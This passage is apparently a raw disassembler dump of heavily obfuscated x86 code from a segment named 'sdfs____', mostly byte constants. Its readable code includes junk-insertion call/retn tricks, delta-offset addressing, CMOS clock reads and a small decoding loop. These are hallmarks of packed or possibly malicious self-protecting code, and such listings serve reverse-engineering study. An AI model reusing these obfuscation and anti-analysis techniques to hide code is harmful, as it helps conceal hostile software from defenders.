0E907E907h, 20h, 6FF38166h, 0C305044h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 48B0Fh, 0BF660000h, 6A1BDBh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B5E9AC3h, 0E93221BDh, 0B1BD8307h, 307E922h, 450850Fh dd 0BD8B0000h, 7E92999h, 0D785BD83h, 0F0007ECh, 43D84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 7FCE0C48h, 0F98B6631h, 0D785B5FFh, 9E807ECh dd 9D000000h, 0C571088Ah, 5101D935h, 4995FF5Fh, 6A07E913h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 50CFC356h, 8B8CFD18h, 0ECD779B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 64EC2771h, 0C7D3329Ch, 1000106h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0BB669642h dd 57504A5Eh, 4870Fh, 0BF660000h, 965BACB6h, 11E8h, 0DF1F7F00h dd 79D5EFE5h, 935D4744h, 0A86F792Eh, 880FC2BAh, 0 ; --------------------------------------------------------------------------- pop edi push dword ptr [ebp+7ECD785h] push 0 push edi call sub_5D7862 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7862 proc near ; CODE XREF: sdfs____:005D785Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5D7862 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 76h ; --------------------------------------------------------------------------- call dword ptr [ebp+7E91AB1h] push 0 push esi call sub_5D7885 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7885 proc near ; CODE XREF: sdfs____:005D787Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5D7885 endp ; --------------------------------------------------------------------------- db 0F0h, 18h, 9Dh dd 96CABFE6h, 0B58B2688h, 7ECD779h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 3CC35343h, 0D6BB669Eh, 49858B20h dd 6A07E924h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0C144C357h, 286A6948h, 0D772FDDh dd 1C71BD8Bh, 295107E9h, 0E931359Dh, 86895F07h, 0C4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 4BC35646h, 6E6AFF4Ah dd 87CF3B8Ah, 0DF8B6647h, 320D958Bh, 950107E9h, 7E90E3Dh dd 6A04C283h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0FFC4C356h, 0F838E924h, 1DB2E0EAh dd 96E0BB66h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 4697C356h, 75B5296Ch dd 8B07E91Bh, 0E92DCD9Dh, 0A1858D07h, 6A07ECECh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 8B55C353h, 8934E562h, 0B886h, 0B59D0B00h, 6A07E915h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0A93D706Eh, 85B5FF2Eh, 6A07ECD7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8B5BC356h, 0FE8B66FAh, 2CD95FFh, 6A07E9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0AC3129C3h dd 94EC37E7h, 0E85396E9h, 6, 0EE6A7FA1h, 12E9F9B8h, 0E0000000h dd 0B1EBD02Fh, 4CCE5B2Fh, 0D6FC4BFh, 10BDAF8Ch, 505F5FBFh dd 0F96DA8Bh, 683h, 0A5BD8900h, 0FF07E916h, 0ECD785B5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0F3804CE6h, 2D95FF23h, 6A07E930h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 837DC357h, 0E91EC9BDh, 840F0007h, 24h, 2B098529h, 0B75007E9h dd 243489A1h, 4820Fh, 0BB660000h, 9E96A7Ch, 40000000h dd 6A51938Eh, 0C9DD8AA0h, 0D785B5FFh, 6A07ECh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8B19C3h, 7E920EDh, 0F0DB589h, 95FF07E9h, 7E91F9Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 56C35040h dd 850FE421h, 0Ch, 6840Fh, 820F0000h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+7ECD785h] jnz loc_5D7B57 adc bl, 0A3h loc_5D7B57: ; CODE XREF: sdfs____:005D7B4Ej call dword ptr [ebp+7E90139h] mov bx, 1397h cmp dword ptr [ebp+7E929CDh], 2 jz loc_5D7BA6 push 0 push edx call sub_5D7B79 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7B79 proc near ; CODE XREF: sdfs____:005D7B71p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5D7B79 endp ; --------------------------------------------------------------------------- db 25h, 0Dh, 0DAh dd 0B2EFACF9h, 8B414662h, 0E9087585h, 95BF6607h, 0C605h dd 2A099D8Bh db 0E9h, 7 ; --------------------------------------------------------------------------- loc_5D7BA6: ; CODE XREF: sdfs____:005D7B68j mov dword ptr [ebp+7E924ADh], 0 and edi, 5F9A5A75h jmp near ptr dword_5D6A70+43Eh ; --------------------------------------------------------------------------- push 0 push esi call sub_5D7BC6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7BC6 proc near ; CODE XREF: sdfs____:005D7BBEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5D7BC6 endp ; --------------------------------------------------------------------------- mov byte ptr [ebx+35BF66C1h], 0C7h stc lea eax, [ebp+7E90861h] push 0 push esi call sub_5D7BEF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7BEF proc near ; CODE XREF: sdfs____:005D7BE7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5D7BEF endp ; --------------------------------------------------------------------------- cmpsd sub al, 32h cld mov bl, dl nop jl loc_5D7C0F mov bx, si loc_5D7C0F: ; CODE XREF: sdfs____:005D7C06j push eax push ebx jmp loc_5D7C1F ; --------------------------------------------------------------------------- dw 9407h dd 99A1ADAh ; --------------------------------------------------------------------------- das jecxz short near ptr word_5D7C42 loc_5D7C1F: ; CODE XREF: sdfs____:005D7C11j pop edi nop clc push 0 push 0 push ecx call sub_5D7C2F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7C2F proc near ; CODE XREF: sdfs____:005D7C27p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5D7C2F endp ; --------------------------------------------------------------------------- db 0FFh db 0E8h, 0Eh word_5D7C42 dw 0 ; CODE XREF: sdfs____:005D7C1Dj dd 9200F000h, 16A8DBAAh, 0B37AA0BAh, 0E8750089h, 13h, 0B88C6892h dd 7EE41C77h, 686D84C6h, 0C92AD151h, 0BC31BC1h, 0E92A5DBDh dd 6A5F5B07h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 24983F4Eh, 0EE9h, 43C5CF00h, 55684177h dd 9761C03Bh, 8D6C2893h, 0EE40A985h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 989B6299h dd 0E5BFB390h, 0B70FE88Fh, 0FD9D8BDEh, 8307E915h, 6A05C0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 9D892EC3h, 7E920B9h, 166D9D03h, 958907E9h, 7E920EDh dd 0BB6690h, 0BA605022h, 567B79BFh, 0BE665250h, 310F61EEh dd 9D82D2BFh, 61585A76h, 6AF890h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 4AC35141h, 0E822D243h, 0Eh dd 5A50E101h, 16A6B43Fh, 0E15B28F8h, 0E8562FEAh, 0Fh, 37D3DCBAh dd 0E28CCAE8h, 0B4D94EDFh, 5F5DF728h, 6A5F5Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h, 0C16D3FC9h dd 3C34A57h, 2420BF3Ch, 0BD317961h, 7E90311h, 0FB995FFh dd 8D8D07E9h, 7ECD72Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0ECC35545h, 31CA5410h, 0E908E185h, 0ED9D0307h dd 0FF07E923h, 0D9BF0FD1h, 1B69BD83h, 0F0107E9h, 7285h dd 0DE800h, 422B0000h, 0D464E492h, 93F3BD38h, 66C79564h dd 0F95BD88Bh, 9D03026Ah, 7E92985h, 10E85090h, 0F000000h dd 412E8BB1h, 0E04623C1h, 0C89BB23Eh, 5F0D4142h, 51006A90h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0F9F901B1h, 0ED7F1A41h, 0FFDFBF0Fh, 0E902CD95h, 66606007h dd 0F019BBFh, 8061F1B7h, 0E9618EE0h, 0E92h, 0E8h, 0ED815D00h dd 7EE40B3h, 22B58589h, 8D3107E9h, 7E93441h, 0DE8h, 0E583FB00h dd 312E3BCBh, 39639BABh, 0BE98DB1h, 8A000000h, 0DE59EA83h dd 0A693154Bh, 8D5F82CBh, 0ECB40685h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0A8F05199h, 50C50CD5h, 0FF2133BBh, 2404894Ah, 8B0Fh dd 0FF640000h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0BD67A944h, 9D09E018h dd 7E92FE9h, 9BF78166h, 2589645Fh, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+7E923B1h] clc inc dword ptr [ebp+7E90F9Dh] mov edi, 47109DC7h push 0FFFFFFFFh sub [ebp+7E93431h], ecx mov [ebp+7E91FA9h], edx ; CODE XREF: sdfs____:005D7FA6j push dword ptr [ebp+7E91735h] sub [ebp+7E934C9h], ebx jmp loc_5D7F57 ; --------------------------------------------------------------------------- db 0A4h, 66h, 7Fh dd 11C49959h, 7193AEECh, 80959FFEh ; --------------------------------------------------------------------------- rcl dl, 1 popa loc_5D7F57: ; CODE XREF: sdfs____:005D7F40j call dword ptr [ebp+7E9233Dh] jmp loc_5D80B9 ; --------------------------------------------------------------------------- push ebx jmp loc_5D7F7A ; --------------------------------------------------------------------------- dd 0BC68A25Ch, 1D3D3CEAh, 6D1EC628h, 0CB23B46Ah db 69h, 3Bh ; --------------------------------------------------------------------------- loc_5D7F7A: ; CODE XREF: sdfs____:005D7F63j pop edi mov al, 0 or [ebp+7E9029Dh], ebx out 70h, al ; CMOS Memory: ; used by real-time clock in al, 71h ; CMOS Memory jmp loc_5D7F94 ; --------------------------------------------------------------------------- dd 4332AC66h, 0CD26CBBAh ; --------------------------------------------------------------------------- loc_5D7F94: ; CODE XREF: sdfs____:005D7F87j cmp al, 61h jnb loc_5D80B9 call near ptr loc_5D7FB3+1 mov ds:8FF5E9CBh, eax js short near ptr loc_5D7F2E+3 scasd push eax cmp [ecx], cl sbb eax, 4F318A1Ch outsd scasb loc_5D7FB3: ; CODE XREF: sdfs____:005D7F9Cp mov word ptr [ecx-16F31A4Bh], cs pop es pop edi movzx ecx, al jmp loc_5D7FCC ; --------------------------------------------------------------------------- db 0BAh dd 0A4A86946h, 0F10B29A3h ; --------------------------------------------------------------------------- loc_5D7FCC: ; CODE XREF: sdfs____:005D7FBEj mov edx, 6 movzx edi, di or [ebp+7E929F5h], ecx mov eax, ecx mov bx, 0AE82h jmp loc_5D7FF7 ; --------------------------------------------------------------------------- db 0E2h, 86h, 0E8h dd 0F7666CF3h, 0EED7A7DBh, 0ABCD6263h db 77h, 39h, 1Dh ; --------------------------------------------------------------------------- loc_5D7FF7: ; CODE XREF: sdfs____:005D7FE0j shr eax, 4 sbb di, 0BB15h mul dx mov ebx, [ebp+7E907E9h] sub ecx, eax add [ebp+7E901B9h], eax mov edx, ecx jmp loc_5D80B9 ; --------------------------------------------------------------------------- mov [ebp+7E90775h], edi pusha mov [ebp+7E90B09h], ebx mov [ebp+7E90FBDh], esi popa mov eax, [ebp+44004E49h] jmp loc_5D8045 ; --------------------------------------------------------------------------- dw 0BDE2h dd 0FD5BD465h, 0C621681Dh, 937BD6F5h db 8Ch ; --------------------------------------------------------------------------- loc_5D8045: ; CODE XREF: sdfs____:005D8031j add eax, 7 sub bh, 1Ch or edi, 54AE9B1Ch add eax, 0 clc cmp edx, eax jnb loc_5D8080 call near ptr loc_5D806E+1 pop edi xchg eax, esi add eax, 9F8AEA9Ah inc ecx sal byte ptr [edi], 4Fh xchg eax, ebp loc_5D806E: ; CODE XREF: sdfs____:005D805Dp xor [ecx-16EC6673h], cl pop es pop edi jmp loc_5D80B9 ; --------------------------------------------------------------------------- sbb bx, 2EEFh loc_5D8080: ; CODE XREF: sdfs____:005D8057j mov ecx, [ebp-1] mov [ebp+7E91DD5h], esi and ecx, 1 jz loc_5D80B9 cmc mov ebx, 3919EFC9h and dword ptr [ebp-1], 0FFFFFFFEh mov edi, 7F70B224h mov [ebp+44004E49h], edx mov edi, 432D0777h mov edi, ecx jmp $+5 loc_5D80B9: ; CODE XREF: sdfs____:005D7F5Dj ; sdfs____:005D7F96j ... lea esi, [ebp+7EDBB81h] jmp loc_5D80CF ; --------------------------------------------------------------------------- dd 0DF7865C9h, 3153DD44h db 56h, 0C8h, 37h ; --------------------------------------------------------------------------- loc_5D80CF: ; CODE XREF: sdfs____:005D80BFj push 0 pusha call sub_5D80E1 adc edx, [eax+54F862E4h] xchg eax, edx push esi stosd cmpsb ; =============== S U B R O U T I N E ======================================= sub_5D80E1 proc near ; CODE XREF: sdfs____:005D80D2p sub esi, [ebp+7E92121h] pop ecx sub [ebp+7E92E85h], ecx popa call dword ptr [ebp+7E90C31h] push 0 push esi call sub_5D8100 and [esi-3Dh], bl sub_5D80E1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D8100 proc near ; CODE XREF: sub_5D80E1+17p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5D8100 endp ; --------------------------------------------------------------------------- dd 2AE61B9Eh, 5CEF8118h, 231C2B6Ah, 0E91C35BDh, 0F62B907h dd 0BD2B0000h, 7E90B89h, 6AFCE183h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7583C351h dd 91052710h, 0B414336Dh, 50006AFCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 31F21421h dd 0C5B50947h, 6007E90Ah, 0BE8h, 9D955A00h, 5FCA2D01h dd 7B4CCAA8h, 10819D89h, 0E95B07E9h, 9, 82A1EA9Bh, 0C1EA3B47h dd 0B86136h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 2D41C356h, 8B96E90Ah dd 0E900819Dh, 29958907h, 0BA07E926h, 0 ; --------------------------------------------------------------------------- add edi, [ebp+7E92AA5h] loc_5D81DE: ; CODE XREF: sdfs____:005D81E8j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D81DE push 0 push esi call sub_5D81F5 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D81F5 proc near ; CODE XREF: sdfs____:005D81EDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5D81F5 endp ; --------------------------------------------------------------------------- pop esp xchg dh, [edx] add eax, 617C9D3Eh sub ebx, 64562707h jmp loc_5D822B ; --------------------------------------------------------------------------- dd 6D50AA59h, 85E439BCh, 2D40B921h, 7BFDC153h db 0F0h, 12h, 0Bh ; --------------------------------------------------------------------------- loc_5D822B: ; CODE XREF: sdfs____:005D8213j push 0 push esi call sub_5D8236 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8236 proc near ; CODE XREF: sdfs____:005D822Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5D8236 endp ; --------------------------------------------------------------------------- dw 0CD86h dd 0FBBB6707h, 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0EF9A78AAh, 7131B470h dd 8BFCD42Ch, 0E9320D95h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 965903Ah, 687CBBA0h dd 8D8B3C35h, 7E922E5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 27C35242h, 50FC34C7h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0EB9E7E6Ch dd 16154457h, 17159529h, 10E907E9h, 5B000000h, 8202E09Ah dd 0C0589C2Ah, 72797BA4h, 8391DAF5h, 0E91C2DBDh, 840F0007h dd 78h, 0F1DBD8Bh, 0B807E9h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 48DCC357h dd 4D5A8D8Dh, 0BE907E9h, 8E000000h, 0C802F639h, 4B7C7F23h dd 0E1FF06A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 6AC35747h, 0C8805DE2h, 3276EB1h, 5DBF6680h, 0AE91Fh dd 8CC80000h, 0E8B9B918h, 282323CCh, 22B1BD83h, 0F0007E9h dd 44C84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0E8F01160h, 855EA9CDh, 0B1BD83C3h dd 107E922h, 436840Fh, 0BD830000h, 7E922B1h, 0F3860F03h dd 6A000003h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0B6CEC351h, 0DA8EE952h, 41BD3160h dd 6107E92Dh, 11B1BB66h, 8D53BF60h, 8C66222Bh, 52006AD9h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0AEEB67B7h, 25B74990h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0BBE8C356h dd 0EE99Ah, 72CE0000h, 0E1C98A64h, 9DAEEE08h, 6CC1802Ch dd 0FC90AF5h, 16884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 11F86549h, 0AE8h, 0DAEC3D00h dd 2600C402h, 81FF6624h, 74290FC7h, 858B5F0Fh, 7E90C55h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 26C35343h dd 1BDAF7AFh, 14E862h, 15960000h, 30BD330h, 3165C884h dd 5D34FDD0h, 35780F2h, 9D8B2AF0h, 7E9307Dh, 0E985335Bh dd 6A07E91Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 29BDC355h, 0E9193585h, 214DBB07h dd 0E95214C8h, 0Fh, 859856C1h, 0E0AF595Dh, 0B7B84CC1h dd 5F0DD204h, 3BBF5390h, 5B7DD621h, 870F50h, 90000000h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BEC35747h dd 6AF7B374h, 0B9B50900h, 6807E91Bh, 2DEC4EAFh, 50243481h dd 0FF2DF34Dh, 0E902D995h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D1431F53h dd 21F38B24h, 8589B95Fh, 7ECD785h, 0E95CEF80h, 1D7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 81C35747h, 0EE814A2Dh dd 7E9E5h, 18210000h, 0B6E04E34h, 7D858B4Ch, 6A07ECD7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0C7AAC351h, 1800h, 619D8B00h, 8B07E91Dh dd 0ECD781B5h, 0D1950907h, 8B07E929h, 0E9185985h, 6A068907h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 2530C352h, 7326D940h, 0C55858Bh, 870F07E9h dd 0Ch, 7E9h, 0E97F3600h, 11FC6C31h, 89044689h, 0E93449B5h dd 66509607h, 9654FABFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 8BC35747h, 0B5FF3441h, 7ECD77Dh, 0DA68DE8Bh dd 50C705F1h, 9E952h, 0CF2D0000h, 7F248539h, 0F3BC5B7h dd 6800F31h, 0F000000h, 88h, 81585A00h, 12252404h, 6A3919h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0A57B70C3h, 810FCFABh, 6, 0B0D9509h, 0B58907E9h, 7E92081h dd 0D785858Dh, 816607ECh, 0E8BCCADBh, 0Ah, 60EBD100h, 0A07A079Ah dd 0DCBFDC3Ah, 5F73A9FCh, 860F6050h, 5, 509771BFh, 0BE847h dd 20F90000h, 3A095FF1h, 9B86277Bh, 6E97Ch, 3BD50000h dd 0B0E79F40h, 4896158h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 85890F73h, 7E926ADh, 2D995FFh dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 2D6DF3C3h, 0F53C0A1Eh, 61FAB70Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 77C35343h, 0F56DEBBCh dd 85C7292Bh, 7E922B1h, 3, 19A19D0Bh, 0BD8307E9h, 7ECD785h dd 0B840F00h, 8B000000h, 0E91F899Dh, 1BE907h, 30500000h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 21023972h, 8C20FED8h, 2F71BD89h, 6A07E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0F07E86C3h, 7E7E4CDFh, 0E380E9B8h, 0B1BD837Dh, 307E922h dd 40C850Fh, 0F530000h, 28Fh, 5BDA8B00h, 0D785BD83h, 0F0007ECh dd 3F584h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 5FF71A49h, 123CF1BFh, 85B5FFFFh dd 907ECD7h, 0E92B3585h, 4995FF07h, 6A07E913h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 3549C357h, 26C94935h, 0BCB6EF81h, 0B58B3AE9h, 7ECD779h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 22C35646h dd 4B9CEBCDh, 860F3583h, 1, 106C7F5h, 6A000100h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0FC15C352h, 0C717BB50h, 348962F4h, 53006A24h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 702CAD31h, 0BC4D64CBh, 95BD8B99h, 0FF07E90Ah, 0ECD785B5h dd 0FE8B6607h, 1AB195FFh, 0AE807E9h, 0FE000000h, 0B41A749Bh dd 6C5C5793h, 759D2379h, 5F07E92Ch, 0D779B58Bh, 6A07ECh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 2323DFC3h, 0E901FDBDh, 49858B07h, 6607E924h, 7A01F381h dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 594BA2C3h, 0E9BAEC1Dh, 0Bh, 0DB8A0E97h dd 0FCCCF348h, 8BFDE3F1h, 0E9320D95h, 14E907h, 0DA040000h dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0C283DF3Fh dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 46913C1Eh, 0ABC40B36h, 9D8B8D8Ch dd 7E908A9h, 6A205089h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0A5E4C355h, 31A16BFEh dd 34B337D4h, 0ECA1858Dh, 9D8B07ECh, 7E91CEDh, 0B88689h dd 8C0F0000h, 17h, 5E8h, 2FA0F500h, 7E9D110h, 0A2000000h dd 5F317A2Eh, 6A5B1349h, 9DBD8B00h, 0FF07E91Ch, 0ECD785B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 95FF858Ch, 7E902CDh, 13E9h, 97DACB00h, 7CAEDF02h dd 2F2599E8h, 0F569FD4Fh, 11D44B0Fh, 0BE950h, 2B3B0000h dd 6A9178C7h, 0B66C6360h, 24348970h, 316DBD31h, 0B5FF07E9h dd 7ECD785h, 0C9858B60h, 8907E91Bh, 0E92E91BDh, 95FF6107h dd 7E9302Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 4CC35242h, 93A1FDD7h, 6E8F8h, 0F47B0000h, 0BEADDB75h dd 11E9h, 0B08FBD00h, 0B3CD8BFh, 0D249EC7Ah, 0AACDEC0h dd 835F8D12h, 0E91EC9BDh, 840F0007h, 32h, 37B85360h, 5F7E64F0h dd 12E9h, 0B80A3200h, 2C7A4B55h, 2A5EB497h, 8A25F2E0h dd 61296AA0h, 5096DA8Bh, 0CD7353BBh, 0DE8B9643h, 1F199D89h dd 0B5FF07E9h, 7ECD785h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 62C35545h, 0BF38B644h, 192A0110h, 68A0Fh dd 9D8B0000h, 7E91DFDh, 0F1FDBB66h, 1F9D95FFh, 6A07E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 69F911C3h, 0B3538129h, 85B5FFE2h, 6A07ECD7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 4F61C351h, 435AFC9Fh, 0FF30C622h, 0E9013995h, 9D9D2907h dd 8307E909h, 0E929CDBDh, 840F0207h, 2Bh, 0F8F0Fh, 0AE90000h dd 0B2000000h, 13E01170h, 9B10998Dh, 75858B16h, 0FC07E908h dd 2FBD9D8Bh, 0C607E9h, 298D8900h, 0C707E90Eh, 0E924AD85h dd 7, 0CB816600h, 8BE9C5BDh, 6AFFFFF2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9BC9C352h dd 39BD8BB9h, 8B07E90Ah, 0E90B319Dh, 8B5B5607h, 57006AC1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0D1E7368Ah, 0FE7BD3E0h, 7E96561h, 0E9000000h, 0BC149BDEh dd 858D4616h, 7E90861h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 19C35242h, 0EF63D148h, 0B2BF6623h, 5B501EEh dd 9007E90Fh, 13E8h, 7869F600h, 562233D3h, 0FB7E137Bh dd 4FB10B69h, 145C9FEFh, 56BB5250h, 0F345E52h, 0AE931h dd 38850000h, 10498AE4h, 0AE72C8ABh, 505F585Ah, 0FA8B5250h dd 8B66310Fh, 90585AF9h, 6AFA8B66h, 19BB6600h, 0E9006AC3h dd 7, 7597C3BEh, 51A9AD9Ch, 8D5FFB8Bh, 0EE510485h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 898D293Dh, 8307E91Bh, 0FB8B05C0h, 897AB750h, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 13EBBAC3h, 8ED747EEh, 6A006A38h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EFB1C355h dd 6AFB8B66h, 0A99D8B00h, 0FF07E901h, 0E90FB995h, 559D8B07h dd 6607E900h, 8D8DDA8Bh, 7ECD72Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 4BC35747h, 19074FD9h, 309B7AB8h dd 0DF8BD1FFh, 1B69BD83h, 0F0107E9h, 6D85h, 0CB816600h dd 26A7629h, 0BE9h, 72A44900h, 41AAE072h, 0FD82C725h, 505F5290h dd 0EE8h, 0DA786A00h, 0FD526206h, 41E7E68Eh, 0BBED7B78h dd 7B042B01h, 0AE9905Fh, 0D5000000h, 5E00CCD7h, 218AAC5Eh dd 0CD95FF50h, 6A07E902h, 